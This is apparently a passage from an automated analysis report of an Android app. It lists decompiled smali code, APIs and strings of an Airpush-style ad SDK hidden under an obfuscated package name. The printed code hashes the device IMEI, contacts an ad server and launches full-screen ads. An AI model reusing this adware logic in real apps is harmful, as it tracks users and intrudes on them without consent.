38move-result-object v0
40invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
41move-result-object v0
43invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
44move-result-object v0
46invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
47new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread;
49invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
50move-result-object v2
52const-string v5, "https://api.airpush.com/v2/api.php"
53const-wide/16 v6, 0x4e20
54const/4 v8, 0x1
55move-object v3, p0
57invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V
58new-instance v0, Ljava/lang/Thread;
60const-string v2, "sn"
62invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: sn
64invoke-virtual {v0}, Ljava/lang/Thread;->start()V
65return-void
APIs
  • android.widget.FrameLayout.<init>
  • java.util.ArrayList.<init>
  • com.vxjxu.jkhfn1870.AdView$2.<init>
  • android.util.Log.i
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.AdView.setVisibility
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.AdView.getBackground
  • com.vxjxu.jkhfn1870.AdView.setClickable
  • com.vxjxu.jkhfn1870.AdView.setFocusable
  • com.vxjxu.jkhfn1870.AdView.setDescendantFocusability
  • com.vxjxu.jkhfn1870.AdView.getAttrParameters
  • java.lang.Thread.isAlive
  • com.vxjxu.jkhfn1870.AdView.getAd
Strings
  • AirplayMraid
  • fade
  • inappad
  • Initializing AdView from xml
  • AttributeSet can not be null. If you are creating layout from dynamic code then use the other consturctor.
  • Required BrowserActivty not found in Manifest please add.
  • Can not serve ad on this device. Device details not found.
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "attributeSet" # Landroid/util/AttributeSet;
2.prologue
3const/4 v5, 0x0
4const/4 v4, 0x1
6invoke-direct {p0, p1, p2}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;)V
8const-string v1, "AirplayMraid"
9iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->TAG:Ljava/lang/String;
10iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->debug:Z
11iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
12iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z
13const/16 v1, 0x2d
14iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
15iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAdRequestInProgress:Z
16const-wide/16 v2, 0x0
17iput-wide v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->lastAdfetchedTime:J
18iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z
19const/16 v1, 0x1d4
20iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
21const/16 v1, 0x3c
22iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
23new-instance v1, Ljava/util/ArrayList;
25invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
26iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List;
28const-string v1, "fade"
29iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
31const-string v1, "inappad"
32iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
33iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z
34new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$1;
36invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$1;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
37iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
38new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$2;
40invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$2;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
41iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler;
42new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$8;
44invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$8;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
45iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->getDoc:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;
47const-string v1, "AirplayMraid"
49const-string v2, "Initializing AdView from xml"
51invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Initializing AdView from xml
52if-nez p2, :cond_67
54sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
55if-eqz v1, :cond_5d
57sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
59const-string v2, "AttributeSet can not be null. If you are creating layout from dynamic code then use the other consturctor."
61invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: AttributeSet can not be null. If you are creating layout from dynamic code then use the other consturctor.
62cond_5d:
63const-string v1, "AirplayMraid"
65const-string v2, "AttributeSet can not be null. If you are creating layout from dynamic code then use the other consturctor."
67invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: AttributeSet can not be null. If you are creating layout from dynamic code then use the other consturctor.
68iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
69goto_66: return-void
70cond_67:
71invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->getDataFromManifest(Landroid/content/Context;)Z
72move-result v1
73if-eqz v1, :cond_73
75invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkRequiredPermission(Landroid/content/Context;)Z
76move-result v1
77if-nez v1, :cond_76
78cond_73: iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
79goto/16 :goto_66
80cond_76: const/16 v1, 0x8
82invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
83try_start_7b: const-class v1, Lcom/vxjxu/jkhfn1870/BrowserActivity;
85invoke-static {p1, v1}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z
86move-result v1
87if-nez v1, :cond_9a
89const-string v1, "AirplayMraid"
91const-string v2, "Required BrowserActivty not found in Manifest please add."
93invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Required BrowserActivty not found in Manifest please add.
95sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
96if-eqz v1, :cond_95
98sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
100const-string v2, "Required BrowserActivty not found in Manifest please add."
102invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Required BrowserActivty not found in Manifest please add.
103cond_95: const/4 v1, 0x1
104iput-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
105try_end_98: goto/16 :goto_66
106catch_99: move-exception v1
107cond_9a: new-instance v0, Lcom/vxjxu/jkhfn1870/UserDetails;
109invoke-direct {v0, p1}, Lcom/vxjxu/jkhfn1870/UserDetails;-><init>(Landroid/content/Context;)V
111invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/UserDetails;->setImeiInMd5()Z
112move-result v1
113if-nez v1, :cond_b3
115sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
116if-eqz v1, :cond_b0
118sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
120const-string v2, "Can not serve ad on this device. Device details not found."
122invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Can not serve ad on this device. Device details not found.
123cond_b0: iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
124goto/16 :goto_66
125cond_b3: new-instance v1, Lcom/vxjxu/jkhfn1870/SetPreferences;
127invoke-direct {v1, p1}, Lcom/vxjxu/jkhfn1870/SetPreferences;-><init>(Landroid/content/Context;)V
129invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setPreferencesData()V
131invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getBackground()Landroid/graphics/drawable/Drawable;
132move-result-object v1
133iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerBgDrawable:Landroid/graphics/drawable/Drawable;
135invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/AdView;->setClickable(Z)V
  • Data flow analysis:
    • p0: 1
137invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/AdView;->setFocusable(Z)V
  • Data flow analysis:
    • p0: 1
138const/high16 v1, 0x20000
140invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setDescendantFocusability(I)V
  • Data flow analysis:
    • p0: 131072
142invoke-direct {p0, p2}, Lcom/vxjxu/jkhfn1870/AdView;->getAttrParameters(Landroid/util/AttributeSet;)V
144iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adThread:Ljava/lang/Thread;
145if-eqz v1, :cond_db
147iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adThread:Ljava/lang/Thread;
149invoke-virtual {v1}, Ljava/lang/Thread;->isAlive()Z
150move-result v1
151if-nez v1, :cond_de
152cond_db:
153invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V
154cond_de:
155invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->startBusense(Landroid/content/Context;)V
156goto/16 :goto_66
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.getContext
  • android.util.Log.i
  • java.lang.String.equals
  • android.os.Handler.post
  • com.vxjxu.jkhfn1870.AdView.getContext
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • org.json.JSONException.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.io.IOException.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • java.lang.Exception.printStackTrace
Strings
  • AirplayMraid
  • Refresh time changed.
  • JSONExection occured while parsing MRAID json:
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "result" # Lorg/json/JSONObject;
2.prologue
3try_start_0: new-instance v2, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
5invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
6move-result-object v3
8invoke-direct {v2, v3, p2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;-><init>(Landroid/content/Context;Lorg/json/JSONObject;)V
9iput-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
11iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
13invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getRefreshTime()I
14move-result v2
15if-lez v2, :cond_22
17const-string v2, "AirplayMraid"
19const-string v3, "Refresh time changed."
21invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Refresh time changed.
23iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
25invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getRefreshTime()I
26move-result v2
27iput v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
28cond_22:
29invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->getDoc(Landroid/content/Context;)Ljava/lang/String;
30move-result-object v0
31if-eqz v0, :cond_3b
33const-string v2, ""
35invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
36move-result v2
37if-nez v2, :cond_3b
39iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler;
40new-instance v3, Lcom/vxjxu/jkhfn1870/AdView$6;
42invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/AdView$6;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
44invoke-virtual {v2, v3}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
45cond_3a: return-void
46cond_3b:
47invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
48move-result-object v2
50invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
51move-result v2
52if-eqz v2, :cond_3a
54iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->getDoc:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;
56invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V
57try_end_4a: goto/16 :goto_3a
58catch_4b: move-exception v1
60const-string v2, "AirplayMraid"
61new-instance v3, Ljava/lang/StringBuilder;
63invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
65const-string v4, "JSONExection occured while parsing MRAID json: "
67invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: JSONExection occured while parsing MRAID json:
68move-result-object v3
70invoke-virtual {v1}, Lorg/json/JSONException;->getMessage()Ljava/lang/String;
71move-result-object v4
73invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
74move-result-object v3
76invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
77move-result-object v3
79invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
80goto/16 :goto_3a
81catch_69: move-exception v1
83const-string v2, "AirplayMraid"
84new-instance v3, Ljava/lang/StringBuilder;
86invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
88const-string v4, ""
90invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
91move-result-object v3
93invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
94move-result-object v4
96invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
97move-result-object v3
99invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
100move-result-object v3
102invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
103goto/16 :goto_3a
104catch_87: move-exception v1
106invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
107goto/16 :goto_3a
Cross References
APIs
  • java.lang.String.equals
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • android.content.Intent.putExtra
  • android.app.Activity.startActivity
  • org.json.JSONException.printStackTrace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.io.IOException.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.lang.Exception.printStackTrace
Strings
  • mfpad
  • adtype
  • MFP
  • AirplaySDK
  • Rich Media Full Page:
Position Instruction Meta Information
0.param p1, "jsonObject" # Lorg/json/JSONObject;
1.prologue
2try_start_0: new-instance v4, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
4sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
6invoke-direct {v4, v5, p1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;-><init>(Landroid/content/Context;Lorg/json/JSONObject;)V
7sput-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
9sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
11invoke-static {v4}, Lcom/vxjxu/jkhfn1870/Util;->getDoc(Landroid/content/Context;)Ljava/lang/String;
12move-result-object v0
13if-eqz v0, :cond_48
15const-string v4, ""
17invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
18move-result v4
19if-nez v4, :cond_48
21sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
23invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z
24new-instance v3, Landroid/content/Intent;
26sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
27const-class v5, Lcom/vxjxu/jkhfn1870/SmartWallActivity;
29invoke-direct {v3, v4, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
31const-string v4, "mfpad"
33invoke-virtual {v3, v4}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: mfpad
34const/high16 v4, 0x10000000
36invoke-virtual {v3, v4}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
37const/high16 v4, 0x800000
39invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
40const/high16 v4, 0x20000000
42invoke-virtual {v3, v4}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 536870912
44const-string v4, "adtype"
46const-string v5, "MFP"
48invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: adtype
    • p1: MFP
50sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
52invoke-virtual {v4, v3}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
53cond_47: return-void
54cond_48: new-instance v2, Lcom/vxjxu/jkhfn1870/AirPlay$6;
56invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$6;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V
58sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
60invoke-static {v4}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
61move-result v4
62if-eqz v4, :cond_47
64invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V
65try_end_58: goto/16 :goto_47
66catch_59: move-exception v1
68invoke-virtual {v1}, Lorg/json/JSONException;->printStackTrace()V
69goto/16 :goto_47
70catch_5e: move-exception v1
72const-string v4, "AirplaySDK"
73new-instance v5, Ljava/lang/StringBuilder;
75invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
77const-string v6, "Rich Media Full Page: "
79invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Rich Media Full Page:
80move-result-object v5
82invoke-virtual {v1}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
83move-result-object v6
85invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
86move-result-object v5
88invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
89move-result-object v5
91invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
92goto/16 :goto_47
93catch_7c: move-exception v1
95invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
96goto/16 :goto_47
Cross References
APIs
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.SmartWallActivity.isShowing
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.AdCallbackListener$AdType.ordinal
  • java.lang.String.equals
  • org.json.JSONObject.<init>
  • java.lang.String.equals
Strings
  • AirplaySDK
  • Activity or Adtype is null.
  • Another ad is showing on screen.
  • Error occurred in caching ad
  • Invalid AdType.
  • SmartWall ad is not available in cache
  • Appwall ad is not available in cache
  • Landingpage is not available in cache
  • Interstitial ad is not available in cache
  • Overlay ad is not available in cache
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.param p2, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
2.prologue
3if-eqz p1, :cond_4
4if-nez p2, :cond_11
5cond_4:
6const-string v4, "AirplaySDK"
8const-string v5, "Activity or Adtype is null."
10invoke-static {v4, v5}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Activity or Adtype is null.
12const-string v4, "Activity or Adtype is null."
14invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Activity or Adtype is null.
15goto_10: return-void
16cond_11: sput-object p1, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
18invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z
19move-result v4
20if-eqz v4, :cond_2e
22sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
23if-eqz v4, :cond_10
25sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
27const-string v5, "Another ad is showing on screen."
29invoke-interface {v4, v5}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Another ad is showing on screen.
30try_end_24: goto/16 :goto_10
31catch_25: move-exception v0
33const-string v4, "AirplaySDK"
35const-string v5, "Error occurred in caching ad"
37invoke-static {v4, v5, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred in caching ad
38goto/16 :goto_10
39try_start_2e:
40iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching;
41if-nez v4, :cond_39
42new-instance v4, Lcom/vxjxu/jkhfn1870/Caching;
44invoke-direct {v4, p1}, Lcom/vxjxu/jkhfn1870/Caching;-><init>(Landroid/content/Context;)V
45iput-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching;
46cond_39:
47sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I
49invoke-virtual {p2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I
50move-result v5
51aget v4, v4, v5
52packed-switch v4, :pswitch_data_f6
54const-string v4, "Invalid AdType."
56invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Invalid AdType.
57goto/16 :goto_10
58pswitch_4a:
59iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching;
61sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
63invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String;
64move-result-object v2
65if-eqz v2, :cond_60
67const-string v4, ""
69invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
70move-result v4
71if-nez v4, :cond_60
73invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseSmartwallJson(Ljava/lang/String;)V
74goto/16 :goto_10
75cond_60: const/16 v4, 0xcc
77const-string v5, "SmartWall ad is not available in cache"
79invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
80goto/16 :goto_10
81pswitch_68:
82iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching;
84sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
86invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String;
87move-result-object v2
88if-eqz v2, :cond_7e
90const-string v4, ""
92invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
93move-result v4
94if-nez v4, :cond_7e
96invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseAppWallJson(Ljava/lang/String;)V
97goto/16 :goto_10
98cond_7e: const/16 v4, 0xcc
100const-string v5, "Appwall ad is not available in cache"
102invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
103goto/16 :goto_10
104pswitch_86:
105iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching;
107sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
109invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String;
110move-result-object v2
111if-eqz v2, :cond_9d
113const-string v4, ""
115invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
116move-result v4
117if-nez v4, :cond_9d
119invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseLandingPageAdJson(Ljava/lang/String;)V
120goto/16 :goto_10
121cond_9d: const/16 v4, 0xcc
123const-string v5, "Landingpage is not available in cache"
125invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
126goto/16 :goto_10
127pswitch_a6:
128iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching;
130sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
132invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String;
133move-result-object v2
134if-eqz v2, :cond_c2
136const-string v4, ""
138invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
139move-result v4
140if-nez v4, :cond_c2
141new-instance v1, Lorg/json/JSONObject;
143invoke-direct {v1, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
145invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseRichMediaInterstitialJson(Lorg/json/JSONObject;)V
146goto/16 :goto_10
147cond_c2: const/16 v4, 0xcc
149const-string v5, "Interstitial ad is not available in cache"
151invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
152goto/16 :goto_10
153pswitch_cb: new-instance v3, Lcom/vxjxu/jkhfn1870/VideoAd;
